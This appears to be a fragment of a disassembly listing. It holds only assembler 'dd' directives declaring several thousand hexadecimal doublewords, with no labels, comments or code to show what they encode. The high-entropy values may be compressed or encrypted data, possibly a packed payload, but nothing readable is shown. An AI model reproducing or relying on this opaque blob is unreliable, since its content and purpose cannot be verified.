		dd 0B64A32B8h, 0BBDE071h, 340197C5h, 6A399D03h,	0B6A52EE7h
		dd 0B7DB1235h, 0E71653AFh, 0D7F9B22Ch, 61F3EC0Bh, 2F98DD0h
		dd 0EE7B63FDh, 14636BFh, 0B4195B04h, 9FBD21E8h,	178C1AACh
		dd 0BF830398h, 98F5784Bh, 1C6BCB12h, 0C13A205Ch, 79223CA1h
		dd 0C098785Bh, 1EBBF381h, 81274F18h, 6BB937EAh,	0E4F08Ch
		dd 58AF858h, 8C175B06h,	5F4ED977h, 2FBD6FE9h, 0A692E2BCh
		dd 0E5BD129Ah, 0DA2A02B1h, 0C716C815h, 816BF5DAh, 2E44C828h
		dd 8B285328h, 18717610h, 0B3569602h, 0A2615F9Eh, 7C2BCA81h
		dd 41794B5Eh, 0A3829B68h, 5509B75Fh, 1791D3B5h,	0E8BB2681h
		dd 173D2EEEh, 1310F37Fh, 28AE8D85h, 0FC02BFBAh,	513C264Ch
		dd 53E0565Fh, 420956F4h
		dd 0BB14D765h, 7BF2F2EDh, 0E0F7C65Fh, 583C97A0h, 0E4D0E025h
		dd 843D2F66h, 0C3FE5294h, 7A608B04h, 0CAAC9073h, 6E2B5h
		dd 0D90D2B9h, 7DE5FE17h, 0F42F1C98h, 324065FFh,	8B2ECFB2h
		dd 1DDE03C1h, 41708B33h, 0E21DFFB3h, 0A2213A46h, 0CEC8B09Dh
		dd 4FD200DEh, 5587CD06h, 19254710h, 68D16D78h, 5E96E098h
		dd 0B45F4394h, 0BF50A430h, 4B4113E7h, 0A0BA8554h, 0ABA6FE66h
		dd 0F87FBF00h, 95CB1F4Bh, 318F1D24h, 301D43DAh,	6DC8036Bh
		dd 0D3B56A61h, 0FC5E78A0h, 9C2DEB09h, 155100A5h, 5B3A0EB5h
		dd 616F6Ah, 4F6FD6C1h, 0A0053E3Dh, 98FB719Eh, 0D551BFFBh
		dd 58FE8A89h, 0C38013E9h, 200EEF8Ch, 0F5A69250h, 1E85BBE0h
		dd 0EE91211h, 80D4AD1Fh, 6677E274h, 4F040DD8h, 0C77996EBh
		dd 2917AAEh, 1BFD2161h,	1637741Fh, 9A7AFA6Ah, 371CD802h
		dd 9AF7B70Bh, 0B587F0E5h, 0D42C8065h, 0D70AD109h, 35976A16h
		dd 48A30240h, 0C45DE60Bh, 0FEAC391Ch, 16D5AA04h, 0ECF3BA6Dh
		dd 25A09D3Dh, 2BB5F38h,	0FF36D666h, 8BB7D7D1h, 0AFC76802h
		dd 514E5C4Eh, 6F5FC2D8h, 0BBAE402Ch, 7205BC90h,	30A108DAh
		dd 0AC10481h, 0F273F32Ah, 95A0301Bh, 8892B04h, 30AF5686h
		dd 0C9817F2Bh, 745DEE00h, 996D4714h, 58970030h,	0D86E28F5h
		dd 368AC05h, 82A5E486h,	0D18F0F53h, 0EFA2A5BCh,	5004F6E4h
		dd 0C10864ABh, 7990C8E6h, 9748B805h, 0AE026884h, 0B41A472Dh
		dd 0A36CDEC0h, 0FD028631h, 0E9B989DAh, 70A65CC4h, 0C982FB7Bh
		dd 742EDEBBh, 0A0C2B65Ah, 55DF4Fh, 0FECB52D8h, 29419B31h
		dd 2083F19Fh, 31089CB1h, 51869F6h, 2E270CACh, 0BF50B55Ch
		dd 885216BAh, 0B8A6B920h, 6A0C8C18h, 7F47214Bh,	0E2204AF1h
		dd 3FE69D5Dh, 1222FCDEh, 1CBA7F71h, 81100016h, 845CCCC7h
		dd 0B270E5Ch, 0D3E402D5h, 0EC397981h, 0A2482287h, 268510FAh
		dd 0C2F8E84Eh, 5C95CF80h, 5253C455h, 1690511Fh,	0E5BAA15Ah
		dd 0D7D90709h, 0B06184C8h, 92E78E1h, 5C1D13DEh,	0D6FB1F52h
		dd 1F4FC871h, 40036700h, 91D65B17h, 3C4E12D8h, 1877E421h
		dd 0B1FD048Ah, 0AA221253h, 5C6909D2h, 8157E07Fh, 0A70B52C3h
		dd 855B1847h, 0F41E827h, 0C80E45EAh, 0B5A4A03Ah, 0F82E2A45h
		dd 1AAB93DAh, 0A30038B6h, 0ADFCD7C3h, 79857E4Bh, 0B84AAFA8h
		dd 0D99D1569h, 0E1B31FF9h, 0DE8AD105h, 2827E5E2h, 431374F3h
		dd 95C372BBh, 0E95BA0A1h, 0A05978A0h, 7FDCE2A3h, 2305013Bh
		dd 861CF9EAh, 5EDE69F2h, 5E08E682h, 2B4D62C2h, 0A9D52907h
		dd 0B01852FBh, 8D6F5AAh, 1EEE30AEh, 27005FAFh, 0F41CA7BAh
		dd 25C4FFA4h, 8FCBB42Fh, 8D014194h, 49122299h, 0CA07542Ah
		dd 0FFF68BF4h, 0F37E9503h, 70959D62h, 3569540h,	0EA28BBE0h
		dd 500C7EBDh, 48FE20A5h, 6C4036F9h, 4DBD3933h, 0A331E4A5h
		dd 87DF02Bh, 13851497h,	0EFE87A5Bh, 0BB0ED16Fh,	8BAE63F9h
		dd 0E873FD96h, 0D3BA17FBh, 0AE2312F5h, 1923A16Bh, 0A49A1700h
		dd 2A96F615h, 8DCBDCB9h, 56856070h, 9714C4h, 4FCF819Fh
		dd 49F93BDAh, 5FF55182h, 0B755C02Bh, 0CD80012Bh, 68065C51h
		dd 1385100Eh, 0A4758B27h, 0A3B861ACh, 9112F490h, 0D381E612h
		dd 7B25C8h, 1F84685Ah, 9EF21B4Ah, 0C49AB70Eh, 88C2058h
		dd 4BDAC3D3h, 1624BCDFh, 78A7880Dh, 0CEE0B9B2h,	760B2CABh
		dd 0DD4CED89h, 35777B0Bh, 9ECCA528h, 37951412h,	0E9CB83EDh
		dd 99088671h, 0DF723201h, 0E46BCB5Ch, 42B00085h, 8CDCED19h
		dd 0B2009BECh, 64DDC776h, 4BC5D42Fh, 0D2D88A3Ah, 0C00B4F2h
		dd 8D88BDD7h, 650B7B30h, 5FD66382h, 0BB02CE14h,	1E5631B9h
		dd 9927E5Bh, 0D2717ECEh, 5756FA4Fh, 0F570BCD3h,	2B060955h
		dd 3ECAEDE0h, 0FB452A74h, 977496E9h, 2EFCD811h,	59EDD975h
		dd 714AB5A8h, 176A2CAEh, 950D508Ah, 15EDBE94h, 0D816A04h
		dd 0D9E2A0B8h, 6C616B2Ah, 4FCC2A72h, 8E8600F0h,	0C802F639h
		dd 7C077F23h, 0D906A34Bh, 20AB6054h, 1A043F41h,	0DB5A2407h
		dd 86815CB8h, 95303A63h, 0ABB358FBh, 0ADC2C54Ah, 0B4B8E8h
		dd 4A0F0E02h, 0E93D43EBh, 73A210EFh, 0C9E10058h, 0A440FA8Eh
		dd 0C5122FFBh, 0E8E171E3h, 5A49D820h, 22E3B318h, 0A1D89D39h
		dd 617BA495h, 0C883DAABh, 0CC87C01Ch, 1E3E5F50h, 886392C4h
		dd 14ACC2B9h, 0F14B518Ch, 98DBE60h, 504AF309h, 40744FFDh
		dd 0AB070137h, 4D13615Bh, 5407AAEh, 858913DBh, 0BDB788EEh
		dd 522D120h, 587D068h, 1FCB8106h, 0B5C03F0Fh, 0F71A842Fh
		dd 9175E161h, 0B254A62Ah, 0A643018h, 0D72CBA12h, 0B26DD4E1h
		dd 0E84231ECh, 0D791AF02h, 0C359F2A8h, 1CE26300h, 7A31B61h
		dd 0F03309D6h, 6C8EB27Ah, 0E246F781h, 0B0A37021h, 0EABB0140h
		dd 307B2510h, 6F55BFC2h, 2B1F6147h, 200BC14Bh, 3A9726E6h
		dd 4034FCDEh, 15393F35h, 8BB6A91Dh, 0E0895300h,	25A7D01Bh
		dd 0BDC48372h, 0DE1BBCh, 7852BF6Ah, 72FADF2h, 71093978h
		dd 552EC1F1h, 384B14CDh, 2E41C45Ah, 2CE0553Fh, 0C7A2DDDh
		dd 0D4D55C95h, 1AC11BBCh, 723C28EEh, 0BB071820h, 10DA7337h
		dd 0A6EA46B4h, 2D7E06Ah, 5349019Fh, 62C745FDh, 1C076F89h
		dd 34651D7Bh, 25C26FAAh, 696A7E08h, 56CD9AD5h, 2F7E6AC7h
		dd 6804CE72h, 4C7A03B9h, 8346BC93h, 0DBAABD65h,	612ACEBFh
		dd 0F9900823h, 0F2A3342Eh, 0C97E6FA6h, 97E91C05h, 0EF015CB5h
		dd 0E27FE905h, 352E8C6Ah, 0D5004C71h, 53B9D2D8h, 4D04E6ADh
		dd 0DEBC8561h, 0E4450817h, 159D4702h, 7AA45C2Eh, 0B12E1D4h
		dd 368E19E3h, 8C1BF810h, 0E63548h, 2DF8C154h, 0C4AAB33Bh
		dd 1317F990h, 0A17561ABh, 5AFD0E16h, 2B8DC0A4h,	365DAE1h
		dd 535FBBCBh, 0FFD4603Bh, 0DBEAA725h, 4870C072h, 4BB363CEh
		dd 2210CAB2h, 3490B56Fh, 7905599Fh, 91FAF9B0h, 0A156FD2Ch
		dd 0E100519h, 4600412Dh, 0FAEB81E6h, 0B5539ECFh, 0BF50E645h
		dd 337F05A6h, 0AB31819Dh, 0B02C479Dh, 0E153182Dh, 64181C79h
		dd 0D0883A00h, 0A3D108EAh, 0E9B32584h, 0BC2EEEh, 483E01D4h
		dd 6E6199DCh, 0B56720D7h, 25601244h, 347E81B6h,	4097D12Fh
		dd 385FDA43h, 7188F09Dh, 4CA79A61h, 27254509h, 0D897704Eh
		dd 0B83930A0h, 5777E08h, 0E88D304Bh, 97195720h,	0B956BF89h
		dd 161446D6h, 62BFF97Bh, 0F87D9D93h, 0CF99958Ah, 0D2F6A550h
		dd 0B556D2EAh, 3EE63BB0h, 1BC4FBF0h, 9D74A416h,	4DE36BEBh
		dd 0BAE3CC34h, 0BD064AE9h, 177DFC25h, 0EB79BF97h, 36E34C53h
		dd 60D8C24Ah, 79B98EC0h, 0F95B2A27h, 0E95C2D38h, 0A9346EE3h
		dd 392C76BCh, 800A68Fh,	5A1F5463h, 56018400h, 7F269DD8h
		dd 61E9F319h, 0DA02742Fh, 88AAD642h, 0F7288085h, 814ADFB1h
		dd 99A72FBCh, 77190D8Bh, 484AFEB7h, 0A70B3D57h,	5F4332DDh
		dd 0DA5062C5h, 0FBC8034Ah, 10180D43h, 3CEF80D8h, 7A20964Ah
		dd 2E362576h, 15D9928h,	505B2CA0h, 76376C51h, 0BD239605h
		dd 6FAB02D1h, 1C2329h, 8A8435BEh, 0C91216E9h, 71F3DF25h
		dd 0E6B32904h, 0D3E7B9F2h, 0F48007DAh, 1AEA0A34h, 0C5FD8A25h
		dd 0AD5A17E7h, 0BE0C0C7h, 5AF59ABEh, 542BA72h, 0F5708C20h
		dd 0A813D746h, 79EFFC58h, 9A74A8ACh, 0ED955B90h, 0A4F2C2EBh
		dd 2D6D44E0h, 958AB796h, 5751C305h, 0D22A6E31h,	0CED55FAEh
		dd 843597D7h, 0A035F203h, 42587250h, 0FDBD5E23h, 0AD01CBFCh
		dd 0D37DB32Eh, 8470AC66h, 0DF0169FDh, 5C255CD4h, 0A5B55A4Eh
		dd 6D289A80h, 1E9EA5C4h
		dd 0E756AAC0h, 5FC391F5h, 9266F7C6h, 70771497h,	0E66BE151h
		dd 0B34AF055h, 0DAE701D9h, 0F581F3EBh, 96342FB7h, 0C6C9E4F8h
		dd 25F4717Eh, 7CE5D3FFh, 358D0983h, 0E914160Bh,	5844B8F2h
		dd 1B75111Bh, 0DE4CC124h, 0E94D7D12h, 6051920h,	0AF60706Bh
		dd 2BE98901h, 0D8B0F520h, 0C0022B6h, 697F1333h,	0DF738Dh
		dd 42D6EAC9h, 0A135512Ch, 2922C800h, 889E324Eh,	0FC9000AEh
		dd 5EF208E6h, 53176B48h, 0FA0CBFh, 13ABA97Dh, 0E25B71B6h
		dd 144B30AEh, 0D30E50B2h, 0E142A02Ch, 21D641AAh, 44AD0F80h
		dd 1DFA1032h, 0EA910E18h, 3BFF6819h, 0C3806EA6h, 0CCA573ABh
		dd 100074ACh, 0BCDAB452h, 7D7E984h, 0B14F0A3Ah,	90AA90D4h
		dd 7009BB3h, 0EBCA13F1h, 3049FD7h, 230117ABh, 2DF1D50Dh
		dd 4920F00Fh, 44221D00h, 0A7849A2Eh, 0AA57188Fh, 10CD81D0h
		dd 0D7285403h, 82E05C11h, 29A4A56Fh, 817C7006h,	8E3E62Fh
		dd 1204FBA3h, 9601D108h, 7988EAFAh, 7543007Bh, 0AC477F99h
		dd 0ADF24153h, 64B4D403h, 0FE8502h, 0E1F35C51h,	5A6E4D1Bh
		dd 906C0A00h, 0BCE346Fh, 899E0073h, 0F4581E30h,	5073CF77h
		dd 0E9000E90h, 47246D4Bh, 55CF72Fh, 0FAD7F103h,	6BE0AFE2h
		dd 0EFC903EBh, 9B80A87Dh, 810DA5F0h, 528AA60Eh,	92D0E3B7h
		dd 9769820h, 0B2FD03A0h, 0FA1EE562h, 0B2BC9631h, 20F44C27h
		dd 0BA700001h, 0C3B5ED6Bh, 970E326Ah, 408CEE3Eh, 25C0F812h
		dd 0A1C530BAh, 1628913Ch, 5CBE5001h, 0A2867DFAh, 0EB541883h
		dd 0F00FB80h, 6C8EEE57h, 0E817Eh, 0E4FE10D5h, 0C0DEB80Bh
		dd 0BA883Ah, 0DA126BC4h, 0F93D39Ch, 41BED1ACh, 1842EAACh
		dd 864FAF01h, 7E441D05h, 1D525C4h, 9415B37h, 503A5C6Eh
		dd 0A66DDF91h, 1379C100h, 2DF3054Bh, 6983005Fh,	0DE869731h
		dd 5100919Eh, 0A947E05Bh, 0A17DD0h, 28F62E87h, 0C8DA334Bh
		dd 0EA8C292Fh, 1BB300EAh, 0EACFE9FBh, 0EA001D8h, 3809770h
		dd 0DAED507Ch, 0E0001871h, 0C51E3412h, 0FBD99B3h, 8A076BA3h
		dd 6C8863E0h, 9C00AA1Ch, 0D617E95Ch, 7FBFDBB6h,	0FAE2E066h
		dd 0FD790Fh, 96CEEAC5h,	9DD5E9C8h, 0B2F2030Bh, 3BE05F07h
		dd 0B61291A3h, 49040F79h, 0A74B717Eh, 77E26475h, 97350032h
		dd 0A44FA02h, 0A71FDF38h, 9A80B30Ch, 8E2C6F17h,	0C62ECB0h
		dd 0DEAC53D0h, 0C1002AC8h, 5E6D0868h, 0BEFA76h,	0DFBAD4E6h
		dd 6199B590h, 0D902C67Eh, 0B3309208h, 8A80A0CCh, 1F50F21h
		dd 3AACFC1Ch, 0C8C66E59h, 0E806FA71h, 1F8B7522h, 2F0E3C2Ah
		dd 97F000F3h, 9BB5915Fh, 0D576AC63h, 22DFE101h,	52C53A62h
		dd 4412D142h, 0AE3B5BB9h, 762D0330h, 78E7019Fh,	0CFEE829Ch
		dd 219ECCC0h, 0A691EB00h, 840A913h, 455D0E3Ah, 5793F5h
		dd 0C22DC866h, 24C9923Dh, 0B90999h, 0B9F10980h,	0B0B53D27h
		dd 67978FDh, 0E9948D9Fh, 1B002CFEh, 0FADEC98h, 41636h
		dd 61F50DEAh, 46236E4Bh, 85D52E04h, 0F38809E7h,	20580070h
		dd 0F26D19E2h, 0AD1EFD15h, 0D780683Bh, 8799B7EBh, 718E0365h
		dd 66D87731h, 8F12F186h, 1900424Dh, 2E81A27Eh, 98290036h
		dd 7F91EA8Eh, 7A3524A1h, 8E0498D5h, 0B883FD5Fh,	0B8125029h
		dd 0E7164CDCh, 0B4CCA980h, 4C30EA7Ch, 7385946Eh, 2D64F259h
		dd 11D5EE2Ch, 88D99EBFh, 0D5378E83h, 54FEA358h,	0B4C62F04h
		dd 0C1FD4115h, 0B52CAA5Bh, 495C0F8Ah, 58C3A3D8h, 2BB11079h
		dd 9442DC54h, 0D78F5602h, 602A06A4h, 1CB6DB03h,	8446A8F8h
		dd 0D0A27FCCh, 8B265E5Ah, 1B807900h, 37EBBD95h,	6C3A26CEh
		dd 0BAFB45D8h, 9C00B5B7h, 0D00822FEh, 44002335h, 0F8D5A3DBh
		dd 4C364CE0h, 5C381659h, 0BB2EBAB7h, 0FC3EE675h, 5E2035Dh
		dd 553A59EDh, 0B0A7979Fh, 801132Dh, 4FB24801h, 54A91B14h
		dd 96D09FCDh, 0F6D516E7h, 1C01FA8Dh, 8F701FE4h,	315BBBFCh
		dd 0B50F19DEh, 0C70B204Ch, 9AD2EA00h, 0DC580CE3h, 0ABFB00B3h
		dd 6679722Eh, 0D73B401Ch, 39DCE343h, 99E9995Eh,	0B654C549h
		dd 0FFBBC545h, 0C0CDCF92h, 9D76C7h, 9A77457Dh, 56AF4A82h
		dd 0B0009598h, 1127BBD3h, 70BE934h, 75CEE4C2h, 4737401Ch
		dd 741529A3h, 2D97F7D2h, 7C10D7FBh, 5B5F0B88h, 101C68C0h
		dd 1E5900E5h, 2036CA23h, 94EA2443h, 0EC250B00h,	8E442D34h
		dd 9939017Dh, 0E1AFE740h, 0C562D002h, 0C700BCF4h, 937B2965h
		dd 66CA2Ah, 449AFA04h, 0C6E5714Ch, 366EC700h, 81FCA87Fh
		dd 0F88C2AA4h, 2FB527C9h, 17C05C2Eh, 64BE1E3Eh,	6E03D9E0h
		dd 390E20F2h, 0B2BAE58Dh, 0A96EBDE7h, 283C8C8h,	31241C33h
		dd 0B75C0D0Ch, 0CE5CDE56h, 0E5825508h, 2CA7C581h, 2C8763EDh
		dd 93C273Ah, 7E5ABA52h,	0D38B3C63h, 6175148Bh, 3CDD54EAh
		dd 89560740h, 7C77E4DEh, 0C345008h, 5F0CCDFFh, 7C5BF70Fh
		dd 9A5129ABh, 602C870Ch, 6F7B4Dh, 0E03EFFFBh, 2B8FE86h
		dd 75860E6Bh, 5B89EC40h, 605E2000h, 48575D54h, 770D4811h
		dd 1CF1Eh, 56BD3724h, 0D1727B5Eh, 4D891A00h, 0DE21667Eh
		dd 2E850E1Bh, 0B3A52FF8h, 0AD918004h, 0D5003345h, 0A129143Bh
		dd 68CC39h, 340F87FBh, 4492400Ah, 0CE381770h, 7B3B8325h
		dd 9855DD4Bh, 39BA0A60h, 2E003739h, 6E2A5FBEh, 0E10231B7h
		dd 2B7BFC96h, 0E5BC6017h, 74B83Fh, 1FD1AB63h, 61DFA123h
		dd 0A62AE81Ch, 0C5778600h, 23D3678h, 504B566Ch,	7B7D7446h
		dd 0C31D515Bh, 190A2084h, 16D100A5h, 0CE5C9941h, 0DD278A8Fh
		dd 0FCD31250h, 4C50493Eh, 0DC0796h, 66EDABF3h, 0D5898E96h
		dd 8B9B6A4Fh, 0DFC278C0h, 6A5FE56Eh, 94F01DB6h,	47047A0Ch
		dd 896E7BE3h, 272041A8h, 1117AB80h, 9F9E94Bh, 26045CBCh
		dd 105BD23h, 894FA016h,	0D59C857Fh, 60FB5012h, 0EF19D58h
		dd 4905F80h, 8FC1BDBBh,	0EA1AE2Fh, 80E3DB7Bh, 0C9DABD09h
		dd 0E53F1611h, 987EE0F9h, 54508F69h, 0C40A37F0h, 0EF1785BFh
		dd 21E0FFD9h, 70622378h, 0D7C6291Ah, 0E6D13725h, 5E29E016h
		dd 7D920805h, 851C7E3Ch, 0DF801620h, 8EE7A2CAh,	4D2F1C97h
		dd 0B63E0B3h, 290BA1F3h, 0DC1DEE89h, 0A32F169Bh, 0A86A5AE6h
		dd 98F5CB25h, 5A76CF1Eh, 0BC62AF50h, 0AA9C4BFBh, 0A7F2D3DAh
		dd 2DD4207Eh, 9590CA85h, 0F90025FBh, 8B7871A5h,	4BC507h
		dd 0D774168Ah, 0B7E95F55h, 0A68B0C5Ah, 0AD712124h, 0D415FD8h
		dd 0BDFEAE92h, 2D6FB8E8h, 0C946F9D5h, 3C88904Eh, 0D3A600EBh
		dd 983BF21h, 94000A66h,	456B725Fh, 12A2EC65h, 0B027C9D8h
		dd 0BD2D8D35h, 0CB18772Fh, 34020C6Eh, 27C6862h,	1F657D06h
		dd 0CFB5AFh, 0E326C949h, 0A0241AC8h, 2D13459Ah,	3222CEBh
		dd 9F10709Dh, 9531C1B8h, 0F923D125h, 2D6305FFh,	9E81FFC1h
		dd 78691D49h, 0FC1E3516h, 2CE3A2B3h, 164F6922h,	0F5F323EEh
		dd 888E71BAh, 0E45F0A2Bh, 1BC85426h, 3F2D41D5h,	0BF25714h
		dd 51D35DF3h, 0EAF51756h, 516B4F27h, 0BFFA002Fh, 4EC85D85h
		dd 4ECD2B73h, 0D1FDA7C1h, 5E355930h, 5E7FE624h,	6BD600BAh
		dd 0F93CCB8h, 0BC8FF900h, 42980DC3h, 0AD490AF1h, 639D76E9h
		dd 57143311h, 614B0185h, 5BA8EFACh, 95D4F42Bh, 0A024BD21h
		dd 1BE525C8h, 6B68D47Eh, 2525572Fh, 0CC0AA8F8h,	0B518B609h
		dd 122F0431h, 0CB00D4F9h, 60C41A7Dh, 0AB7CD2h, 88E40604h
		dd 5B0A39AAh, 645B98D0h, 6641044Ch, 6AD06CBBh, 8A370960h
		dd 41CD95E8h, 0C44BAAEFh, 82F22112h, 8516293Ch,	0D8B9FD0Fh
		dd 80330128h, 0F4F6EB9h
		dd 0F280829Eh, 0D0ADED90h, 12031905h, 0DEA8EF2Ch, 0F938A080h
		dd 221C6E32h, 33429BC3h, 7E9E4E8Ah, 0DECB24EDh,	0C61F3573h
		dd 97801D61h, 84EF80DCh, 0DC01BEFCh, 0AA058778h, 0B5898C29h
		dd 72BA888h, 8644BBC0h,	7513B11h, 7D442Dh, 4CB0E651h, 39CC9EF9h
		dd 0B4FFD41Eh, 535FFC8Bh, 4F104414h, 0C72603C1h, 9F17D80Dh
		dd 4BAE0174h, 0D6B88545h, 656E2E80h, 34041C3Fh,	0BB810FFAh
		dd 8600CBA7h, 89DBD190h, 8A00A758h, 0E2C4542Ah,	95610727h
		dd 0EBF8A1FBh, 83B30034h, 0F164AF9Dh, 8977E9DBh, 3B237524h
		dd 12AE6544h, 0C49ABFB0h, 3EF692h, 0D94750A4h, 17290383h
		dd 0A906918Dh, 26B8D316h, 0B874F84Ah, 33DE04BFh, 0BF2509BDh
		dd 8879E838h, 77999529h, 16EDBD97h, 0A5D1B825h,	8B496740h
		dd 52F302A6h, 578DB984h, 33413340h, 0DA6F5F81h,	0C01AC8F1h
		dd 532820BAh, 0CDA45216h, 0FFA731BBh, 53A62AE1h, 415F15E2h
		dd 0F32B1CB8h, 4358458h, 81A2DEAFh, 8C7BA9D0h, 0B97F882Ah
		dd 3AC46C00h, 98E737E8h, 8D4B5F3Ch, 65293F43h, 0D64F7DCAh
		dd 0DA736460h, 3FDB02AFh, 0C99D8D4Fh, 4EDFB9E2h, 2AB52D6Bh
		dd 991A9247h, 0B8377773h, 0ADB26112h, 9DA5628h,	8E0F3827h
		dd 0BF500D56h, 25630967h, 42580D91h, 235B0209h,	4B6B5E9Dh
		dd 0AEC20CEDh, 2FC1D4CAh, 0C6709FD6h, 5DD81616h, 419BA1CEh
		dd 6A2569E7h, 2E549B32h, 0AE398565h, 2ABA1012h,	0B99B8075h
		dd 3201D86Ah, 13DA4C22h, 0E7958420h, 0FA6300C6h, 308B73C3h
		dd 77274FC9h, 4989F42Dh, 428B418h, 0C641AD00h, 0C1BAF195h
		dd 0A42002E6h, 76CC2D5Bh, 0BB543075h, 38D3139Dh, 201DF941h
		dd 9DDEE8FAh, 0AAAD4C44h, 0FC838EE5h, 4FA2EC38h, 224C8300h
		dd 20C07429h, 6AB8FE17h, 9FBC62BDh, 63658200h, 9F69EA3h
		dd 31D9A913h, 0EB7DD8Fh, 0C03D127Eh, 0DCBE6824h, 0BFEB4D00h
		dd 277E3056h, 41E0CE81h, 6014D1A0h, 0B5188BF9h,	61323235h
		dd 7A3009BFh, 0E6F32E53h, 20181559h, 0CC8D035Ah, 9709BE58h
		dd 0E907A2F1h, 0DB09016Ch, 7D6A7830h, 77128405h, 0B6A82D96h
		dd 0CD60BED2h, 2DC3F6EFh, 0FED453F4h, 0F61A56D6h, 6089D303h
		dd 5EF2DE48h, 0DF25AAD4h, 877EB93Ah, 41B80369h,	60D1216h
		dd 23A36EF5h, 8083001Ah, 0EB6B18FEh, 9EBBC202h,	7D4B7C52h
		dd 969F1602h, 0E117260h, 44677C3h, 1D85C901h, 696F886Ah
		dd 0FF99B4Eh, 72195CECh, 56CC4BAh, 0F92DCD63h, 9511534Ch
		dd 72042ED9h, 431E3E73h, 0BC21708Dh, 2FA57AC1h,	0D7A2E22Bh
		dd 0BDA032A6h, 25B0C168h, 50DFB700h, 0FD4DBA60h, 1D435DB8h
		dd 0FCD4F84Bh, 0FF0E8C15h, 0CC9D311Fh, 481B226h, 165439EBh
		dd 0F99F9861h, 0F1A126F1h, 0F82ED2D7h, 7BBE9730h, 28D85AACh
		dd 66214F2h, 3917DA3Ah,	8B58F816h, 0C4775114h, 0BF664011h
		dd 61E9CDFDh, 31501323h, 0AA927FB5h, 89B5DF5Fh,	0D51819F1h
		dd 0EE5CB905h, 25A89CDAh, 4F4FD0A3h, 0A242DFECh, 1203C0C4h
		dd 0EEED56AFh, 7D00127Bh, 0B4887ECEh, 0FD9E8389h, 0D86C140h
		dd 79E4003Dh, 8D9D6915h, 0D4122D73h, 0D8BFA5C3h, 1AB55B40h
		dd 0D8EE0228h, 554E7D3Ah, 0C9088121h, 0D470F6h,	0E3BBAFBAh
		dd 9116E14Fh, 39266F90h, 3624704h, 0C544290Bh, 0A777F90Fh
		dd 225D40B3h, 644784D0h, 0EDDFA81Dh, 92509B49h,	76C5570Eh
		dd 13BCD91Fh, 0FEF725F1h, 0EFDD3464h, 6BBE1117h, 0CD984F4Eh
		dd 0E47E0412h, 0C52E4980h, 0DB29BB33h, 80D3DA2Eh, 7AA7485Fh
		dd 0B888FC40h, 6DB0945Ah, 3F27DDD8h, 9F22DE26h,	0A5DCB70Ch
		dd 8FF21C4Bh, 0A8A6FDD6h, 6A7F00A1h, 0B2F9B8EEh, 0F662409Ch
		dd 5A213D62h, 55D2797h,	0D09F94EEh, 6D14416Fh, 486F4E2Fh
		dd 0C4158200h, 0FF2D348Dh, 0EA36D71Dh, 167FB516h, 2FC9D005h
		dd 0B904BB23h, 6BAFCFB6h, 71B2361h, 500EEC71h, 0AC3BB11Fh
		dd 3031D4A0h, 4BF9680h,	2A9F104Eh, 873EFC50h, 0DFA9FF25h
		dd 0E53BFC6Ch, 0CD962DB3h, 9F8EC122h, 466B6E25h, 66001D23h
		dd 0BFFE91A4h, 68E30F86h, 0C95DCC77h, 0D4F91BC1h, 0C0CBCDADh
		dd 0A4E51292h, 0F8F38E5Bh, 22D88A4Fh, 0C27BB26h, 962779BDh
		dd 0A540BF94h, 1FF8680Eh, 0D378C43Ah, 0D24EF9CAh, 8E5B11EEh
		dd 93CCBF92h, 74A0848Dh, 0F9BD0959h, 0BFFB6B85h, 9CC40250h
		dd 18E50941h, 8A50D47Eh, 60528804h, 0CBF97C95h,	0BD336C98h
		dd 0F130112Dh, 2777C6B7h, 0FDE9CA8Dh, 80542804h, 20F5BD44h
		dd 69B2F9BDh, 67414C6Dh, 59E8BBE1h, 0FE6B4A3Dh,	0DCAA4825h
		dd 53004BB0h, 666C3767h, 521ACB9h, 0BD016061h, 819C40E1h
		dd 692833D3h, 899F177Eh, 6086F1A3h, 0D318D29h, 82F43388h
		dd 840CF1D7h, 1A2301BDh, 0E568FD2Eh, 0CDB7C18Bh, 0C249E3EBh
		dd 0CBFFDBF0h, 7E5C5327h, 0E2DFCBBFh, 40455826h, 0AB40B5CAh
		dd 0C82FF761h, 1D0073D2h, 4C9C5ECEh, 989985h, 427D702Eh
		dd 0B11E0224h, 0C190E42Dh, 7C091F48h, 0D5022FA0h, 0C880DC3Dh
		dd 0DB36965Eh, 0CB49A994h, 0A1ECB1F7h, 0B9EC5EC9h, 2AB40013h
		dd 0EAB696DEh, 10B143Eh, 100F6995h, 4B1F3C3Fh, 502A4E9h
		dd 2DC0DB6h, 7252E92Eh,	0A141D780h, 90E39391h, 4880F4A8h
		dd 0DD93BABBh, 0DE9B5809h, 90F90550h, 0DDCEFBDBh, 0C1F97901h
		dd 0D8096C2Bh, 62EB804Eh, 23B30A54h, 9C6C9556h,	0F2094B15h
		dd 6AAED2A7h, 0F6200088h, 56B0702Bh, 0CF8003F9h, 8AD1FFCCh
		dd 0A28BACBCh, 60021131h, 70B9413Ch, 0BF51BD0Ch, 33BF0450h
		dd 0AD347B9Fh, 25287F45h, 4D4A5F0Ah, 0EBA52EF8h, 1EB3FC8Ch
		dd 0A511E985h, 46952565h, 9D890EF7h, 762BD4F9h,	5F9224Ah
		dd 29E381C0h, 5C2746A6h, 833D5550h, 5CAEFF07h, 1506E751h
		dd 8E26207Bh, 9909A73Dh, 0DFF503CAh, 16119337h,	2C4B2782h
		dd 0E924B670h, 4D097744h, 4012591Ah, 777622BBh,	10E6315Bh
		dd 86418D15h, 0E0CAF84Eh, 5E5F90h, 0C02D263h, 0FF6A5308h
		dd 1BA938CBh, 841EBA1Bh, 0C4520322h, 8529A970h,	9D8A0142h
		dd 30D7810Eh, 8B359220h, 2FE1B0DAh, 0F699088h, 2D9145CFh
		dd 6C799A0h, 4D1316F5h,	910D70E6h, 71C9EFB5h, 2621097Bh
		dd 9984759h, 12FABB73h,	41BF014h, 0EB29DD31h, 0B112ACB3h
		dd 8FA3F92Bh, 0B9F87203h, 5152A492h, 3D442690h,	5990955Bh
		dd 817360DFh, 53A4A116h, 951095B8h, 2B61020Fh, 270DE8C8h
		dd 0DE74C0D8h, 4700C9B8h, 627B5788h, 1BF1035h, 1BB13DADh
		dd 2ED18B5Fh, 0FD6B7489h, 28AA9614h, 0BB066653h, 8EE9DD25h
		dd 9CE99535h, 1CE66285h, 0ED729D31h, 286E56FCh,	0A8C31A20h
		dd 0AA841042h, 2169ADFAh, 0C1128h, 9DC027E5h, 1BC489Eh
		dd 0BF6CBA4Ah, 3A53E924h, 0FD94D2A2h, 4C2D7510h, 62D12F2Dh
		dd 0CF8B5462h, 72144D84h, 16CF282Ch, 0A90FC409h, 5CBF8090h
